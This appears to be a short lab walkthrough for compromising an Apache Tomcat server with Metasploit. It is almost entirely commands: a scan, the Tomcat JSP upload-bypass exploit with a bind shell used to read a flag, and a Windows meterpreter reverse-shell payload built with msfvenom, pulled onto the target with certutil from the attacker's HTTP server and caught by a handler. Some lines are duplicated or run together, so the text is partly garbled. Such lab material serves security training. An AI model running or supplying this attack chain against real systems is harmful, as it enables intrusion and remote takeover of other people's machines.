🔬Tomcat - MSF Exploit
Lab 1
service postgresql start && msfconsole -qdb_status
setg RHOSTS 10.2.24.113
setg RHOST 10.2.24.113
workspace -a TOMCATdb_nmap -sS -sV -O 10.2.24.113
Last updated
service postgresql start && msfconsole -qdb_status
setg RHOSTS 10.2.24.113
setg RHOST 10.2.24.113
workspace -a TOMCATdb_nmap -sS -sV -O 10.2.24.113
Last updated
services
search type:exploit tomcat_jsp
use exploit/multi/http/tomcat_jsp_upload_bypass
info
# Description:
# This module uploads a jsp payload and executes it.
check
runset payload java/jsp_shell_bind_tcp
options
set SHELL cmd
runcd /
type flag.txtbackground
sessionsip -br -c a
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.18.2 LPORT=1234 -f exe > meterpreter.exesudo python3 -m http.server 80sessions
sessions 2
certutil -urlcache -f http://10.10.18.2/meterpreter.exe meterpreter.exevim handler.rc
# Insert the following lines
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.18.2
set LPORT 1234
run
# Save it and exitmsfconsole -r handler.rc.\meterpreter.exe